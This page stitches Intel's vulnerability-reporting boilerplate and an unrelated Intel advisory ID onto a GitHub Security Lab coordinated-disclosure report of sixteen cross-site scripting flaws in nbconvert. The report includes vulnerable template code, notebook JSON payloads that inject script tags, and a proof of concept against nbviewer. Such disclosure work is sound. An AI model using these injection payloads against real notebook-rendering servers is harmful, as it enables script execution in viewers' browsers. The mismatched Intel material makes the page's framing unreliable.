If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2022-26373: INTEL-SA-00706

The GitHub Security Lab discovered sixteen ways to exploit a cross-site scripting vulnerability in nbconvert. When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to cross-site scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer).

Cross-linking to https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm

Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches

Below is currently a duplicate of the original report:

Received on security@ipython.org unedited, I'm not sure if we want to make it separate advisories.

Pasted raw for now, feel free to edit or make separate advisories if you have the rights to.

**I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.****Impact**

_What kind of vulnerability is it? Who is impacted?_

**Patches**

_Has the problem been patched? What versions should users upgrade to?_

**Workarounds**

_Is there a way for users to fix or remediate the vulnerability without upgrading?_

**References**

_Are there any links users can visit to find out more?_

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue in example link to repo
*   Email us at example email address

**GitHub Security Lab (GHSL) Vulnerability Report**

The GitHub Security Lab team has identified potential security vulnerabilities in nbconvert.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 as a reference).

If you are _NOT_ the correct point of contact for this report, please let us know!

**Summary**

When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)

**Product**

nbconvert

**Tested Version**

v5.5.0

**Details****Issue 1: XSS in notebook.metadata.language\_info.pygments\_lexer (GHSL-2021-1013)**

Attacker in control of a notebook can inject arbitrary unescaped HTML in the notebook.metadata.language_info.pygments_lexer field such as the following:

"metadata": {
  "language\_info": {
   "pygments\_lexer": "ipython3-foo\\"\><script>alert(1)</script>"
  }
}

This node is read in the from_notebook_node method:

def from\_notebook\_node(self, nb, resources\=None, \*\*kw):
  langinfo \= nb.metadata.get('language\_info', {})
  lexer \= langinfo.get('pygments\_lexer', langinfo.get('name', None))
  highlight\_code \= self.filters.get('highlight\_code', Highlight2HTML(pygments\_lexer\=lexer, parent\=self))
  self.register\_filter('highlight\_code', highlight\_code)
  return super().from\_notebook\_node(nb, resources, \*\*kw)

It is then assigned to language var and passed down to _pygments_highlight

from pygments.formatters import LatexFormatter
if not language:
  language\=self.pygments\_lexer
latex \= \_pygments\_highlight(source, LatexFormatter(), language, metadata)

In this method, the language variable is concatenated to highlight hl- string to conform the cssclass passed to the HTMLFormatter constructor:

return \_pygments\_highlight(source if len(source) \> 0 else ' ',
  \# needed to help post processors:
  HtmlFormatter(cssclass\=" highlight hl-"+language),
  language, metadata)

The cssclass variable is then concatenated in the outer div class attribute

yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>')

Note that the cssclass variable is also used in other unsafe places such as '<table class="%stable">' % self.cssclass + filename_tr +)

**Issue 2: XSS in notebook.metadata.title (GHSL-2021-1014)**

The notebook.metadata.title node is rendered directly to the index.html.j2 HTML template with no escaping:

{% set nb\_title = nb.metadata.get('title', '') or resources\['metadata'\]\['name'\] %}
<title\>{{nb\_title}}</title\>

The following notebook.metadata.title node will execute arbitrary javascript:

 "metadata": {
  "title": "TITLE</title><script>alert(1)</script>"
 }

Note: this issue also affect other templates, not just the lab one.

**Issue 3: XSS in notebook.metadata.widgets(GHSL-2021-1015)**

The notebook.metadata.widgets node is rendered directly to the base.html.j2 HTML template with no escaping:

{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}
{% if mimetype in nb.metadata.get("widgets",{})%}
<script type\="{{ mimetype }}"\>
{{ nb.metadata.widgets\[mimetype\] | json\_dumps }}
</script\>
{% endif %}

The following notebook.metadata.widgets node will execute arbitrary javascript:

 "metadata": {
  "widgets": {
    "application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"}
  }
 }

Note: this issue also affect other templates, not just the lab one.

**Issue 4: XSS in notebook.cell.metadata.tags(GHSL-2021-1016)**

The notebook.cell.metadata.tags nodes are output directly to the celltags.j2 HTML template with no escaping:

    {%- macro celltags(cell) -%}
        {% if cell.metadata.tags | length > 0 -%}
            {% for tag in cell.metadata.tags -%}
                {{ ' celltag_' ~ tag -}}
            {%- endfor -%}
        {%- endif %}
    {%- endmacro %}
    

The following notebook.cell.metadata.tags node will execute arbitrary javascript:

  {
   "cell\_type": "code",
   "execution\_count": null,
   "id": "727d1a5f",
   "metadata": {
     "tags": \["FOO\\"\><script>alert(1)</script><div \\""\]
   },
   "outputs": \[\],
   "source": \[\]
  }
 \],

Note: this issue also affect other templates, not just the lab one.

**Issue 5: XSS in output data text/html cells(GHSL-2021-1017)**

Using the text/html output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a cell with text/html output executing arbitrary javascript code:

  {
   "cell\_type": "code",
   "execution\_count": 5,
   "id": "b72e53fa",
   "metadata": {},
   "outputs": \[
    {
     "data": {
      "text/html": \[
        "<script>alert(1)</script>"
      \]
     },
     "execution\_count": 5,
     "metadata": {},
     "output\_type": "execute\_result"
    }
   \],
   "source": \[
    "import os; os.system('touch /tmp/pwned')"
   \]
  },

**Issue 6: XSS in output data image/svg+xml cells(GHSL-2021-1018)**

Using the image/svg+xml output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["image/svg+xml"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

    {%- else %}
    {{ output.data['image/svg+xml'] }}
    {%- endif %}
    

The following cell.output.data["image/svg+xml"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/svg+xml": \["<script>console.log(\\"image/svg+xml output\\")</script>"\]
     },
     "execution\_count": null,
     "metadata": {
     }
    }

**Issue 7: XSS in notebook.cell.output.svg\_filename(GHSL-2021-1019)**

The cell.output.svg_filename nodes are rendered directly to the base.html.j2 HTML template with no escaping

    {%- if output.svg_filename %}
    <img src="{{ output.svg_filename | posix_path }}">
    

The following cell.output.svg_filename node will escape the img tag context and execute arbitrary javascript:

  {
   "cell\_type": "code",
   "execution\_count": null,
   "id": "b72e53fa",
   "metadata": {},
   "outputs": \[
    {
     "output\_type": "execute\_result",
     "svg\_filename": "\\"\><script>alert(1)</script>",
     "data": {
      "image/svg+xml": \[""\]
     },
     "execution\_count": null,
     "metadata": {
     }
    }
   \],
   "source": \[""\]
  },

**Issue 8: XSS in output data text/markdown cells(GHSL-2021-1020)**

Using the text/markdown output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["text/markdown"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

    {{ output.data['text/markdown'] | markdown2html }}
    

The following cell.output.data["text/markdown"] node will execute arbitrary javascript:

        {
         "output_type": "execute_result",
         "data": {
          "text/markdown": ["<script>console.log(\"text/markdown output\")</script>"]
         },
         "execution_count": null,
         "metadata": {}
        }
    

**Issue 9: XSS in output data application/javascript cells(GHSL-2021-1021)**

Using the application/javascript output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The cell.output.data["application/javascript"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

    <script type="text/javascript">
    var element = document.getElementById('{{ div_id }}');
    {{ output.data['application/javascript'] }}
    </script>
    

The following cell.output.data["application/javascript"] node will execute arbitrary javascript:

        {
         "output_type": "execute_result",
         "data": {
          "application/javascript": ["console.log(\"application/javascript output\")"]
         },
         "execution_count": null,
         "metadata": {}
        }
    

**Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(GHSL-2021-1022)**

The cell.output.metadata.filenames["images/png"] and cell.metadata.filenames["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {%- if 'image/png' in output.metadata.get('filenames', {}) %}
    <img src="{{ output.metadata.filenames['image/png'] | posix_path }}"
    

The following filenames node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/png": \[""\]
     },
     "execution\_count": null,
     "metadata": {
       "filenames": {
          "image/png": "\\"\><script>console.log(\\"output.metadata.filenames.image/png injection\\")</script>" 
       }
     }
    }

**Issue 11: XSS in output data image/png and image/jpeg cells(GHSL-2021-1023)**

Using the image/png or image/jpeg output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["images/png"] and cell.output.data["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {%- else %}
    <img src="data:image/png;base64,{{ output.data['image/png'] }}"
    {%- endif %}
    

The following cell.output.data["image/png"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/png": \["\\"\><script>console.log(\\"image/png output\\")</script>"\]
     },
     "execution\_count": null,
     "metadata": {}
    }

**Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(GHSL-2021-1024)**

The cell.output.metadata.width and cell.output.metadata.height nodes of both image/png and image/jpeg cells are rendered directly to the base.html.j2 HTML template with no escaping:

    {%- set width=output | get_metadata('width', 'image/png') -%}
    width={{ width }}
    {%- set height=output | get_metadata('height', 'image/png') -%}
    height={{ height }}
    

The following output.metadata.width node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "image/png": \["abcd"\]
     },
     "execution\_count": null,
     "metadata": {
        "width": "\><script>console.log(\\"output.metadata.width png injection\\")</script>"
     }
    }

**Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(GHSL-2021-1025)**

The cell.output.data["application/vnd.jupyter.widget-state+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {% set datatype_list = output.data | filter_data_type %}
    {% set datatype = datatype_list[0]%}
    <script type="{{ datatype }}">
    {{ output.data[datatype] | json_dumps }}
    </script>
    

The following cell.output.data["application/vnd.jupyter.widget-state+json"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "application/vnd.jupyter.widget-state+json": "\\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//"
     },
     "execution\_count": null,
     "metadata": {}
    }

**Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(GHSL-2021-1026)**

The cell.output.data["application/vnd.jupyter.widget-view+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

    {% set datatype_list = output.data | filter_data_type %}
    {% set datatype = datatype_list[0]%}
    <script type="{{ datatype }}">
    {{ output.data[datatype] | json_dumps }}
    </script>
    

The following cell.output.data["application/vnd.jupyter.widget-view+json"] node will execute arbitrary javascript:

    {
     "output\_type": "execute\_result",
     "data": {
      "application/vnd.jupyter.widget-view+json": "\\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//"
     },
     "execution\_count": null,
     "metadata": {}
    }

**Issue 15: XSS in raw cells(GHSL-2021-1027)**

Using a raw cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a raw cell executing arbitrary javascript code:

  {
   "cell\_type": "raw",
   "id": "372c2bf1",
   "metadata": {},
   "source": \[
    "Payload in raw cell <script>alert(1)</script>"
   \]
  }

**Issue 16: XSS in markdown cells(GHSL-2021-1028)**

Using a markdown cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a markdown cell executing arbitrary javascript code:

  {
   "cell\_type": "markdown",
   "id": "2d42de4a",
   "metadata": {},
   "source": \[
     "<script>alert(1)</script>"
   \]
  },

**Proof of Concept**

These vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example nbviewer is vulnerable to the above mentioned XSS issues:

1.  Create Gist with payload. eg:

*   https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c

2.  Then load gist on nbviewer. eg:

*   https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c

Note: response is served with content-security-policy: connect-src 'none';

**GitHub Security Advisories**

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

**Credit**

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

**Contact**

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 in any communication regarding these issues.

**Disclosure Policy**

This report is subject to our coordinated disclosure policy.

Tag

#mac